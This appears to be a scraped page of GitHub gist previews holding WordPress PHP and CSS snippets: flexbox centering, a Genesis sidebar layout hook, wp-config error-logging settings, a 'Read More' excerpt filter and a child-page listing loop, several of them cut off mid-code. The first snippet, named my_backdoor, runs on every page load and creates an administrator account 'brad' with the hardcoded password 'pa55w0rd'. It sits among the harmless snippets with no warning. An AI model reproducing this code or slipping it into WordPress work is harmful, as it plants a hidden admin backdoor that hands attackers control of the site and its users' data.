This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('init', 'my_backdoor'); | |
function my_backdoor() { | |
require('wp-includes/registration.php'); | |
$user_id = wp_create_user('brad', 'pa55w0rd'); | |
$user = new WP_User($user_id); | |
$user->set_role('administrator'); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.element { | |
display: flex; | |
flex-direction: column; | |
justify-content: center; | |
align-items: center; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//* Add sidebar to blog posts | |
add_action( 'genesis_pre_get_option_site_layout', 'gc_add_primary_sidebar' ); | |
function gc_add_primary_sidebar() { | |
if ( is_home() || is_singular('post') || is_category() || is_month() ) { // for archives and single post pages | |
/* list of options | |
content-sidebar | |
sidebar-content | |
content-sidebar-sidebar | |
sidebar-sidebar-content | |
sidebar-content-sidebar |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.products h3 { | |
display: block; | |
white-space: nowrap; | |
overflow: hidden; | |
text-overflow: ellipsis; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//goes to wp-config.php | |
ini_set('log_errors','On'); | |
ini_set('display_errors','Off'); | |
ini_set('error_reporting', E_ALL ); | |
define('WP_DEBUG', false); | |
define('WP_DEBUG_LOG', true); | |
define('WP_DEBUG_DISPLAY', false); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Add "Read More" link to automatic excerpts | |
add_filter('the_content_more_link', 'wpm_get_read_more_link'); | |
add_filter('get_the_content_more_link', 'wpm_get_read_more_link'); // Genesis Framework only | |
add_filter('excerpt_more', 'wpm_get_read_more_link'); | |
function wpm_get_read_more_link() { | |
global $post; | |
return '… <a href="' . get_permalink($post->ID) . '">[Continue reading] <span class="screen-reader-text">' . get_the_title() . '</span></a>'; | |
} | |
// Add "Read More" link to hand-crafted excerpts |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//display list of subpages with featured images as thumb | |
//get the list of child pages | |
$mypages = get_pages( array( 'child_of' => $post->ID, 'sort_column' => 'post_date', 'sort_order' => 'desc' ) ); | |
//if the page has no children, get the parent's children | |
if ( !$mypages) | |
$mypages = get_pages( array( 'child_of' => wp_get_post_parent_id( $post_ID ), 'sort_column' => 'post_date', 'sort_order' => 'desc' ) ); | |
foreach( $mypages as $page ) { | |
if ( $page->ID != $post->ID){ //don't display the member's thumbnail if it's the member's page | |
$content = $page->post_content; |